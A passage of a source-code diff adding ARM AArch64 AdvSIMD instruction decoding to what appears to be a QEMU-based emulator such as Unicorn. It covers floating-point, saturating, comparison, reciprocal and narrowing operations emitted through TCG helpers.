int elements, + int fpopcode, int rd, int rn, int rm) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int pass; + TCGv_ptr fpst = get_fpstatus_ptr(tcg_ctx); + + for (pass = 0; pass < elements; pass++) { + if (size) { + /* Double */ + TCGv_i64 tcg_op1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_op2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_op1, rn, pass, MO_64); + read_vec_element(s, tcg_op2, rm, pass, MO_64); + + switch (fpopcode) { + case 0x39: /* FMLS */ + /* As usual for ARM, separate negation for fused multiply-add */ + gen_helper_vfp_negd(tcg_ctx, tcg_op1, tcg_op1); + /* fall through */ + case 0x19: /* FMLA */ + read_vec_element(s, tcg_res, rd, pass, MO_64); + gen_helper_vfp_muladdd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, + tcg_res, fpst); + break; + case 0x18: /* FMAXNM */ + gen_helper_vfp_maxnumd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1a: /* FADD */ + gen_helper_vfp_addd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1b: /* FMULX */ + gen_helper_vfp_mulxd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1c: /* FCMEQ */ + gen_helper_neon_ceq_f64(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1e: /* FMAX */ + gen_helper_vfp_maxd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1f: /* FRECPS */ + gen_helper_recpsf_f64(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x38: /* FMINNM */ + gen_helper_vfp_minnumd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x3a: /* FSUB */ + gen_helper_vfp_subd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x3e: /* FMIN */ + gen_helper_vfp_mind(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x3f: /* FRSQRTS */ + gen_helper_rsqrtsf_f64(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5b: /* FMUL */ + gen_helper_vfp_muld(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5c: /* FCMGE */ + gen_helper_neon_cge_f64(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5d: /* FACGE */ + gen_helper_neon_acge_f64(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5f: /* FDIV */ + gen_helper_vfp_divd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x7a: /* FABD */ + gen_helper_vfp_subd(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + gen_helper_vfp_absd(tcg_ctx, tcg_res, tcg_res); + break; + case 0x7c: /* FCMGT */ + gen_helper_neon_cgt_f64(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x7d: /* FACGT */ + gen_helper_neon_acgt_f64(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + default: + g_assert_not_reached(); + } + + write_vec_element(s, tcg_res, rd, pass, MO_64); + + tcg_temp_free_i64(tcg_ctx, tcg_res); + tcg_temp_free_i64(tcg_ctx, tcg_op1); + tcg_temp_free_i64(tcg_ctx, tcg_op2); + } else { + /* Single */ + TCGv_i32 tcg_op1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_op2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_res = tcg_temp_new_i32(tcg_ctx); + + read_vec_element_i32(s, tcg_op1, rn, pass, MO_32); + read_vec_element_i32(s, tcg_op2, rm, pass, MO_32); + + switch (fpopcode) { + case 0x39: /* FMLS */ + /* As usual for ARM, separate negation for fused multiply-add */ + gen_helper_vfp_negs(tcg_ctx, tcg_op1, tcg_op1); + /* fall through */ + case 0x19: /* FMLA */ + read_vec_element_i32(s, tcg_res, rd, pass, MO_32); + gen_helper_vfp_muladds(tcg_ctx, tcg_res, tcg_op1, tcg_op2, + tcg_res, fpst); + break; + case 0x1a: /* FADD */ + gen_helper_vfp_adds(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1b: /* FMULX */ + gen_helper_vfp_mulxs(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1c: /* FCMEQ */ + gen_helper_neon_ceq_f32(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1e: /* FMAX */ + gen_helper_vfp_maxs(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x1f: /* FRECPS */ + gen_helper_recpsf_f32(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x18: /* FMAXNM */ + gen_helper_vfp_maxnums(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x38: /* FMINNM */ + gen_helper_vfp_minnums(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x3a: /* FSUB */ + gen_helper_vfp_subs(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x3e: /* FMIN */ + gen_helper_vfp_mins(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x3f: /* FRSQRTS */ + gen_helper_rsqrtsf_f32(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5b: /* FMUL */ + gen_helper_vfp_muls(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5c: /* FCMGE */ + gen_helper_neon_cge_f32(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5d: /* FACGE */ + gen_helper_neon_acge_f32(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x5f: /* FDIV */ + gen_helper_vfp_divs(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x7a: /* FABD */ + gen_helper_vfp_subs(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + gen_helper_vfp_abss(tcg_ctx, tcg_res, tcg_res); + break; + case 0x7c: /* FCMGT */ + gen_helper_neon_cgt_f32(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + case 0x7d: /* FACGT */ + gen_helper_neon_acgt_f32(tcg_ctx, tcg_res, tcg_op1, tcg_op2, fpst); + break; + default: + g_assert_not_reached(); + } + + if (elements == 1) { + /* scalar single so clear high part */ + TCGv_i64 tcg_tmp = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_extu_i32_i64(tcg_ctx, tcg_tmp, tcg_res); + write_vec_element(s, tcg_tmp, rd, pass, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_tmp); + } else { + write_vec_element_i32(s, tcg_res, rd, pass, MO_32); + } + + tcg_temp_free_i32(tcg_ctx, tcg_res); + tcg_temp_free_i32(tcg_ctx, tcg_op1); + tcg_temp_free_i32(tcg_ctx, tcg_op2); + } + } + + tcg_temp_free_ptr(tcg_ctx, fpst); + + if ((elements << size) < 4) { + /* scalar, or non-quad vector op */ + clear_vec_high(s, rd); + } +} + +/* C3.6.11 AdvSIMD scalar three same + * 31 30 29 28 24 23 22 21 20 16 15 11 10 9 5 4 0 + * +-----+---+-----------+------+---+------+--------+---+------+------+ + * | 0 1 | U | 1 1 1 1 0 | size | 1 | Rm | opcode | 1 | Rn | Rd | + * +-----+---+-----------+------+---+------+--------+---+------+------+ + */ +static void disas_simd_scalar_three_reg_same(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int opcode = extract32(insn, 11, 5); + int rm = extract32(insn, 16, 5); + int size = extract32(insn, 22, 2); + bool u = extract32(insn, 29, 1); + TCGv_i64 tcg_rd; + + if (opcode >= 0x18) { + /* Floating point: U, size[1] and opcode indicate operation */ + int fpopcode = opcode | (extract32(size, 1, 1) << 5) | (u << 6); + switch (fpopcode) { + case 0x1b: /* FMULX */ + case 0x1f: /* FRECPS */ + case 0x3f: /* FRSQRTS */ + case 0x5d: /* FACGE */ + case 0x7d: /* FACGT */ + case 0x1c: /* FCMEQ */ + case 0x5c: /* FCMGE */ + case 0x7c: /* FCMGT */ + case 0x7a: /* FABD */ + break; + default: + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + handle_3same_float(s, extract32(size, 0, 1), 1, fpopcode, rd, rn, rm); + return; + } + + switch (opcode) { + case 0x1: /* SQADD, UQADD */ + case 0x5: /* SQSUB, UQSUB */ + case 0x9: /* SQSHL, UQSHL */ + case 0xb: /* SQRSHL, UQRSHL */ + break; + case 0x8: /* SSHL, USHL */ + case 0xa: /* SRSHL, URSHL */ + case 0x6: /* CMGT, CMHI */ + case 0x7: /* CMGE, CMHS */ + case 0x11: /* CMTST, CMEQ */ + case 0x10: /* ADD, SUB (vector) */ + if (size != 3) { + unallocated_encoding(s); + return; + } + break; + case 0x16: /* SQDMULH, SQRDMULH (vector) */ + if (size != 1 && size != 2) { + unallocated_encoding(s); + return; + } + break; + default: + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + tcg_rd = tcg_temp_new_i64(tcg_ctx); + + if (size == 3) { + TCGv_i64 tcg_rn = read_fp_dreg(s, rn); + TCGv_i64 tcg_rm = read_fp_dreg(s, rm); + + handle_3same_64(s, opcode, u, tcg_rd, tcg_rn, tcg_rm); + tcg_temp_free_i64(tcg_ctx, tcg_rn); + tcg_temp_free_i64(tcg_ctx, tcg_rm); + } else { + /* Do a single operation on the lowest element in the vector. + * We use the standard Neon helpers and rely on 0 OP 0 == 0 with + * no side effects for all these operations. + * OPTME: special-purpose helpers would avoid doing some + * unnecessary work in the helper for the 8 and 16 bit cases. + */ + NeonGenTwoOpEnvFn *genenvfn; + TCGv_i32 tcg_rn = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_rm = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_rd32 = tcg_temp_new_i32(tcg_ctx); + + read_vec_element_i32(s, tcg_rn, rn, 0, size); + read_vec_element_i32(s, tcg_rm, rm, 0, size); + + switch (opcode) { + case 0x1: /* SQADD, UQADD */ + { + static NeonGenTwoOpEnvFn * const fns[3][2] = { + { gen_helper_neon_qadd_s8, gen_helper_neon_qadd_u8 }, + { gen_helper_neon_qadd_s16, gen_helper_neon_qadd_u16 }, + { gen_helper_neon_qadd_s32, gen_helper_neon_qadd_u32 }, + }; + genenvfn = fns[size][u]; + break; + } + case 0x5: /* SQSUB, UQSUB */ + { + static NeonGenTwoOpEnvFn * const fns[3][2] = { + { gen_helper_neon_qsub_s8, gen_helper_neon_qsub_u8 }, + { gen_helper_neon_qsub_s16, gen_helper_neon_qsub_u16 }, + { gen_helper_neon_qsub_s32, gen_helper_neon_qsub_u32 }, + }; + genenvfn = fns[size][u]; + break; + } + case 0x9: /* SQSHL, UQSHL */ + { + static NeonGenTwoOpEnvFn * const fns[3][2] = { + { gen_helper_neon_qshl_s8, gen_helper_neon_qshl_u8 }, + { gen_helper_neon_qshl_s16, gen_helper_neon_qshl_u16 }, + { gen_helper_neon_qshl_s32, gen_helper_neon_qshl_u32 }, + }; + genenvfn = fns[size][u]; + break; + } + case 0xb: /* SQRSHL, UQRSHL */ + { + static NeonGenTwoOpEnvFn * const fns[3][2] = { + { gen_helper_neon_qrshl_s8, gen_helper_neon_qrshl_u8 }, + { gen_helper_neon_qrshl_s16, gen_helper_neon_qrshl_u16 }, + { gen_helper_neon_qrshl_s32, gen_helper_neon_qrshl_u32 }, + }; + genenvfn = fns[size][u]; + break; + } + case 0x16: /* SQDMULH, SQRDMULH */ + { + static NeonGenTwoOpEnvFn * const fns[2][2] = { + { gen_helper_neon_qdmulh_s16, gen_helper_neon_qrdmulh_s16 }, + { gen_helper_neon_qdmulh_s32, gen_helper_neon_qrdmulh_s32 }, + }; + assert(size == 1 || size == 2); + genenvfn = fns[size - 1][u]; + break; + } + default: + g_assert_not_reached(); + } + + genenvfn(tcg_ctx, tcg_rd32, tcg_ctx->cpu_env, tcg_rn, tcg_rm); + tcg_gen_extu_i32_i64(tcg_ctx, tcg_rd, tcg_rd32); + tcg_temp_free_i32(tcg_ctx, tcg_rd32); + tcg_temp_free_i32(tcg_ctx, tcg_rn); + tcg_temp_free_i32(tcg_ctx, tcg_rm); + } + + write_fp_dreg(s, rd, tcg_rd); + + tcg_temp_free_i64(tcg_ctx, tcg_rd); +} + +static void handle_2misc_64(DisasContext *s, int opcode, bool u, + TCGv_i64 tcg_rd, TCGv_i64 tcg_rn, + TCGv_i32 tcg_rmode, TCGv_ptr tcg_fpstatus) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Handle 64->64 opcodes which are shared between the scalar and + * vector 2-reg-misc groups. We cover every integer opcode where size == 3 + * is valid in either group and also the double-precision fp ops. + * The caller only need provide tcg_rmode and tcg_fpstatus if the op + * requires them. + */ + TCGCond cond; + + switch (opcode) { + case 0x4: /* CLS, CLZ */ + if (u) { + gen_helper_clz64(tcg_ctx, tcg_rd, tcg_rn); + } else { + gen_helper_cls64(tcg_ctx, tcg_rd, tcg_rn); + } + break; + case 0x5: /* NOT */ + /* This opcode is shared with CNT and RBIT but we have earlier + * enforced that size == 3 if and only if this is the NOT insn. + */ + tcg_gen_not_i64(tcg_ctx, tcg_rd, tcg_rn); + break; + case 0x7: /* SQABS, SQNEG */ + if (u) { + gen_helper_neon_qneg_s64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn); + } else { + gen_helper_neon_qabs_s64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn); + } + break; + case 0xa: /* CMLT */ + /* 64 bit integer comparison against zero, result is + * test ? (2^64 - 1) : 0. We implement via setcond(!test) and + * subtracting 1. + */ + cond = TCG_COND_LT; + do_cmop: + tcg_gen_setcondi_i64(tcg_ctx, cond, tcg_rd, tcg_rn, 0); + tcg_gen_neg_i64(tcg_ctx, tcg_rd, tcg_rd); + break; + case 0x8: /* CMGT, CMGE */ + cond = u ? TCG_COND_GE : TCG_COND_GT; + goto do_cmop; + case 0x9: /* CMEQ, CMLE */ + cond = u ? TCG_COND_LE : TCG_COND_EQ; + goto do_cmop; + case 0xb: /* ABS, NEG */ + if (u) { + tcg_gen_neg_i64(tcg_ctx, tcg_rd, tcg_rn); + } else { + TCGv_i64 tcg_zero = tcg_const_i64(tcg_ctx, 0); + tcg_gen_neg_i64(tcg_ctx, tcg_rd, tcg_rn); + tcg_gen_movcond_i64(tcg_ctx, TCG_COND_GT, tcg_rd, tcg_rn, tcg_zero, + tcg_rn, tcg_rd); + tcg_temp_free_i64(tcg_ctx, tcg_zero); + } + break; + case 0x2f: /* FABS */ + gen_helper_vfp_absd(tcg_ctx, tcg_rd, tcg_rn); + break; + case 0x6f: /* FNEG */ + gen_helper_vfp_negd(tcg_ctx, tcg_rd, tcg_rn); + break; + case 0x7f: /* FSQRT */ + gen_helper_vfp_sqrtd(tcg_ctx, tcg_rd, tcg_rn, tcg_ctx->cpu_env); + break; + case 0x1a: /* FCVTNS */ + case 0x1b: /* FCVTMS */ + case 0x1c: /* FCVTAS */ + case 0x3a: /* FCVTPS */ + case 0x3b: /* FCVTZS */ + { + TCGv_i32 tcg_shift = tcg_const_i32(tcg_ctx, 0); + gen_helper_vfp_tosqd(tcg_ctx, tcg_rd, tcg_rn, tcg_shift, tcg_fpstatus); + tcg_temp_free_i32(tcg_ctx, tcg_shift); + break; + } + case 0x5a: /* FCVTNU */ + case 0x5b: /* FCVTMU */ + case 0x5c: /* FCVTAU */ + case 0x7a: /* FCVTPU */ + case 0x7b: /* FCVTZU */ + { + TCGv_i32 tcg_shift = tcg_const_i32(tcg_ctx, 0); + gen_helper_vfp_touqd(tcg_ctx, tcg_rd, tcg_rn, tcg_shift, tcg_fpstatus); + tcg_temp_free_i32(tcg_ctx, tcg_shift); + break; + } + case 0x18: /* FRINTN */ + case 0x19: /* FRINTM */ + case 0x38: /* FRINTP */ + case 0x39: /* FRINTZ */ + case 0x58: /* FRINTA */ + case 0x79: /* FRINTI */ + gen_helper_rintd(tcg_ctx, tcg_rd, tcg_rn, tcg_fpstatus); + break; + case 0x59: /* FRINTX */ + gen_helper_rintd_exact(tcg_ctx, tcg_rd, tcg_rn, tcg_fpstatus); + break; + default: + g_assert_not_reached(); + } +} + +static void handle_2misc_fcmp_zero(DisasContext *s, int opcode, + bool is_scalar, bool is_u, bool is_q, + int size, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + bool is_double = (size == 3); + TCGv_ptr fpst; + + if (!fp_access_check(s)) { + return; + } + + fpst = get_fpstatus_ptr(tcg_ctx); + + if (is_double) { + TCGv_i64 tcg_op = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_zero = tcg_const_i64(tcg_ctx, 0); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + NeonGenTwoDoubleOPFn *genfn; + bool swap = false; + int pass; + + switch (opcode) { + case 0x2e: /* FCMLT (zero) */ + swap = true; + /* fallthrough */ + case 0x2c: /* FCMGT (zero) */ + genfn = gen_helper_neon_cgt_f64; + break; + case 0x2d: /* FCMEQ (zero) */ + genfn = gen_helper_neon_ceq_f64; + break; + case 0x6d: /* FCMLE (zero) */ + swap = true; + /* fall through */ + case 0x6c: /* FCMGE (zero) */ + genfn = gen_helper_neon_cge_f64; + break; + default: + g_assert_not_reached(); + } + + for (pass = 0; pass < (is_scalar ? 1 : 2); pass++) { + read_vec_element(s, tcg_op, rn, pass, MO_64); + if (swap) { + genfn(tcg_ctx, tcg_res, tcg_zero, tcg_op, fpst); + } else { + genfn(tcg_ctx, tcg_res, tcg_op, tcg_zero, fpst); + } + write_vec_element(s, tcg_res, rd, pass, MO_64); + } + if (is_scalar) { + clear_vec_high(s, rd); + } + + tcg_temp_free_i64(tcg_ctx, tcg_res); + tcg_temp_free_i64(tcg_ctx, tcg_zero); + tcg_temp_free_i64(tcg_ctx, tcg_op); + } else { + TCGv_i32 tcg_op = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_zero = tcg_const_i32(tcg_ctx, 0); + TCGv_i32 tcg_res = tcg_temp_new_i32(tcg_ctx); + NeonGenTwoSingleOPFn *genfn; + bool swap = false; + int pass, maxpasses; + + switch (opcode) { + case 0x2e: /* FCMLT (zero) */ + swap = true; + /* fall through */ + case 0x2c: /* FCMGT (zero) */ + genfn = gen_helper_neon_cgt_f32; + break; + case 0x2d: /* FCMEQ (zero) */ + genfn = gen_helper_neon_ceq_f32; + break; + case 0x6d: /* FCMLE (zero) */ + swap = true; + /* fall through */ + case 0x6c: /* FCMGE (zero) */ + genfn = gen_helper_neon_cge_f32; + break; + default: + g_assert_not_reached(); + } + + if (is_scalar) { + maxpasses = 1; + } else { + maxpasses = is_q ? 4 : 2; + } + + for (pass = 0; pass < maxpasses; pass++) { + read_vec_element_i32(s, tcg_op, rn, pass, MO_32); + if (swap) { + genfn(tcg_ctx, tcg_res, tcg_zero, tcg_op, fpst); + } else { + genfn(tcg_ctx, tcg_res, tcg_op, tcg_zero, fpst); + } + if (is_scalar) { + write_fp_sreg(s, rd, tcg_res); + } else { + write_vec_element_i32(s, tcg_res, rd, pass, MO_32); + } + } + tcg_temp_free_i32(tcg_ctx, tcg_res); + tcg_temp_free_i32(tcg_ctx, tcg_zero); + tcg_temp_free_i32(tcg_ctx, tcg_op); + if (!is_q && !is_scalar) { + clear_vec_high(s, rd); + } + } + + tcg_temp_free_ptr(tcg_ctx, fpst); +} + +static void handle_2misc_reciprocal(DisasContext *s, int opcode, + bool is_scalar, bool is_u, bool is_q, + int size, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + bool is_double = (size == 3); + TCGv_ptr fpst = get_fpstatus_ptr(tcg_ctx); + + if (is_double) { + TCGv_i64 tcg_op = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_res = tcg_temp_new_i64(tcg_ctx); + int pass; + + for (pass = 0; pass < (is_scalar ? 1 : 2); pass++) { + read_vec_element(s, tcg_op, rn, pass, MO_64); + switch (opcode) { + case 0x3d: /* FRECPE */ + gen_helper_recpe_f64(tcg_ctx, tcg_res, tcg_op, fpst); + break; + case 0x3f: /* FRECPX */ + gen_helper_frecpx_f64(tcg_ctx, tcg_res, tcg_op, fpst); + break; + case 0x7d: /* FRSQRTE */ + gen_helper_rsqrte_f64(tcg_ctx, tcg_res, tcg_op, fpst); + break; + default: + g_assert_not_reached(); + } + write_vec_element(s, tcg_res, rd, pass, MO_64); + } + if (is_scalar) { + clear_vec_high(s, rd); + } + + tcg_temp_free_i64(tcg_ctx, tcg_res); + tcg_temp_free_i64(tcg_ctx, tcg_op); + } else { + TCGv_i32 tcg_op = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_res = tcg_temp_new_i32(tcg_ctx); + int pass, maxpasses; + + if (is_scalar) { + maxpasses = 1; + } else { + maxpasses = is_q ? 4 : 2; + } + + for (pass = 0; pass < maxpasses; pass++) { + read_vec_element_i32(s, tcg_op, rn, pass, MO_32); + + switch (opcode) { + case 0x3c: /* URECPE */ + gen_helper_recpe_u32(tcg_ctx, tcg_res, tcg_op, fpst); + break; + case 0x3d: /* FRECPE */ + gen_helper_recpe_f32(tcg_ctx, tcg_res, tcg_op, fpst); + break; + case 0x3f: /* FRECPX */ + gen_helper_frecpx_f32(tcg_ctx, tcg_res, tcg_op, fpst); + break; + case 0x7d: /* FRSQRTE */ + gen_helper_rsqrte_f32(tcg_ctx, tcg_res, tcg_op, fpst); + break; + default: + g_assert_not_reached(); + } + + if (is_scalar) { + write_fp_sreg(s, rd, tcg_res); + } else { + write_vec_element_i32(s, tcg_res, rd, pass, MO_32); + } + } + tcg_temp_free_i32(tcg_ctx, tcg_res); + tcg_temp_free_i32(tcg_ctx, tcg_op); + if (!is_q && !is_scalar) { + clear_vec_high(s, rd); + } + } + tcg_temp_free_ptr(tcg_ctx, fpst); +} + +static void handle_2misc_narrow(DisasContext *s, bool scalar, + int opcode, bool u, bool is_q, + int size, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* Handle 2-reg-misc ops which are narrowing (so each 2*size element + * in the source becomes a size element in the destination). + */ + int pass; + TCGv_i32 tcg_res[2]; + int destelt = is_q ? 2 : 0; + int passes = scalar ? 1 : 2; + + if (scalar) { + tcg_res[1] = tcg_const_i32(tcg_ctx, 0); + } + + for (pass = 0; pass < passes; pass++) { + TCGv_i64 tcg_op = tcg_temp_new_i64(tcg_ctx); + NeonGenNarrowFn *genfn = NULL; + NeonGenNarrowEnvFn *genenvfn = NULL; + + if (scalar) { + read_vec_element(s, tcg_op, rn, pass, size + 1); + } else { + read_vec_element(s, tcg_op, rn, pass, MO_64); + } + tcg_res[pass] = tcg_temp_new_i32(tcg_ctx); + + switch (opcode) { + case 0x12: /* XTN, SQXTUN */ + { + static NeonGenNarrowFn * const xtnfns[3] = { + gen_helper_neon_narrow_u8, + gen_helper_neon_narrow_u16, + tcg_gen_trunc_i64_i32, + }; + static NeonGenNarrowEnvFn * const sqxtunfns[3] = { + gen_helper_neon_unarrow_sat8, + gen_helper_neon_unarrow_sat16, + gen_helper_neon_unarrow_sat32, + }; + if (u) { + genenvfn = sqxtunfns[size]; + } else { + genfn = xtnfns[size]; + } + break; + } + case 0x14: /* SQXTN, UQXTN */ + { + static NeonGenNarrowEnvFn * const fns[3][2] = { + { gen_helper_neon_narrow_sat_s8, + gen_helper_neon_narrow_sat_u8 }, + { gen_helper_neon_narrow_sat_s16, + gen_helper_neon_narrow_sat_u16 }, + { gen_helper_neon_narrow_sat_s32, + gen_helper_neon_narrow_sat_u32 }, + }; + genenvfn = fns[size][u]; + break; + } + case 0x16: /* FCVTN, FCVTN2 */ + /* 32 bit to 16 bit or 64 bit to 32 bit float conversion */ + if (size == 2) { + gen_helper_vfp_fcvtsd(tcg_ctx, tcg_res[pass], tcg_op, tcg_ctx->cpu_env); + } else { + TCGv_i32 tcg_lo = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_hi = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_lo, tcg_op); + gen_helper_vfp_fcvt_f32_to_f16(tcg_ctx, tcg_lo, tcg_lo, tcg_ctx->cpu_env); + tcg_gen_shri_i64(tcg_ctx, tcg_op, tcg_op, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_hi, tcg_op); + gen_helper_vfp_fcvt_f32_to_f16(tcg_ctx, tcg_hi, tcg_hi, tcg_ctx->cpu_env); + tcg_gen_deposit_i32(tcg_ctx, tcg_res[pass], tcg_lo, tcg_hi, 16, 16); + tcg_temp_free_i32(tcg_ctx, tcg_lo); + tcg_temp_free_i32(tcg_ctx, tcg_hi); + } + break; + case 0x56: /* FCVTXN, FCVTXN2 */ + /* 64 bit to 32 bit float conversion + * with von Neumann rounding (round to odd) + */ + assert(size == 2); + gen_helper_fcvtx_f64_to_f32(tcg_ctx, tcg_res[pass], tcg_op, tcg_ctx->cpu_env); + break; + default: + g_assert_not_reached(); + } + + if (genfn) { + genfn(tcg_ctx, tcg_res[pass], tcg_op); + } else if (genenvfn) { + genenvfn(tcg_ctx, tcg_res[pass], tcg_ctx->cpu_env, tcg_op); + } + + tcg_temp_free_i64(tcg_ctx, tcg_op); + } + + for (pass = 0; pass < 2; pass++) { + write_vec_element_i32(s, tcg_res[pass], rd, destelt + pass, MO_32); + tcg_temp_free_i32(tcg_ctx, tcg_res[pass]); + } + if (!is_q) { + clear_vec_high(s, rd); + } +} + +/* Remaining saturating accumulating ops */ +static void handle_2misc_satacc(DisasContext *s, bool is_scalar, bool is_u, + bool is_q, int size, int rn, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + bool is_double = (size == 3); + + if (is_double) { + TCGv_i64 tcg_rn = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tcg_rd = tcg_temp_new_i64(tcg_ctx); + int pass; + + for (pass = 0; pass < (is_scalar ? 1 : 2); pass++) { + read_vec_element(s, tcg_rn, rn, pass, MO_64); + read_vec_element(s, tcg_rd, rd, pass, MO_64); + + if (is_u) { /* USQADD */ + gen_helper_neon_uqadd_s64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rd); + } else { /* SUQADD */ + gen_helper_neon_sqadd_u64(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rd); + } + write_vec_element(s, tcg_rd, rd, pass, MO_64); + } + if (is_scalar) { + clear_vec_high(s, rd); + } + + tcg_temp_free_i64(tcg_ctx, tcg_rd); + tcg_temp_free_i64(tcg_ctx, tcg_rn); + } else { + TCGv_i32 tcg_rn = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tcg_rd = tcg_temp_new_i32(tcg_ctx); + int pass, maxpasses; + + if (is_scalar) { + maxpasses = 1; + } else { + maxpasses = is_q ? 4 : 2; + } + + for (pass = 0; pass < maxpasses; pass++) { + if (is_scalar) { + read_vec_element_i32(s, tcg_rn, rn, pass, size); + read_vec_element_i32(s, tcg_rd, rd, pass, size); + } else { + read_vec_element_i32(s, tcg_rn, rn, pass, MO_32); + read_vec_element_i32(s, tcg_rd, rd, pass, MO_32); + } + + if (is_u) { /* USQADD */ + switch (size) { + case 0: + gen_helper_neon_uqadd_s8(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rd); + break; + case 1: + gen_helper_neon_uqadd_s16(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rd); + break; + case 2: + gen_helper_neon_uqadd_s32(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rd); + break; + default: + g_assert_not_reached(); + } + } else { /* SUQADD */ + switch (size) { + case 0: + gen_helper_neon_sqadd_u8(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rd); + break; + case 1: + gen_helper_neon_sqadd_u16(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rd); + break; + case 2: + gen_helper_neon_sqadd_u32(tcg_ctx, tcg_rd, tcg_ctx->cpu_env, tcg_rn, tcg_rd); + break; + default: + g_assert_not_reached(); + } + } + + if (is_scalar) { + TCGv_i64 tcg_zero = tcg_const_i64(tcg_ctx, 0); + write_vec_element(s, tcg_zero, rd, 0, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_zero); + } + write_vec_element_i32(s, tcg_rd, rd, pass, MO_32); + } + + if (!is_q) { + clear_vec_high(s, rd); + } + + tcg_temp_free_i32(tcg_ctx, tcg_rd); + tcg_temp_free_i32(tcg_ctx, tcg_rn); + } +} + +/* C3.6.12 AdvSIMD scalar two reg misc + * 31 30 29 28 24 23 22 21 17 16 12 11 10 9 5 4 0 + * +-----+---+-----------+------+-----------+--------+-----+------+------+ + * | 0 1 | U | 1 1 1 1 0 | size | 1 0 0 0 0 | opcode | 1 0 | Rn | Rd | + * +-----+---+-----------+------+-----------+--------+-----+------+------+ + */ +static void disas_simd_scalar_two_reg_misc(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int opcode = extract32(insn, 12, 5); + int size = extract32(insn, 22, 2); + bool u = 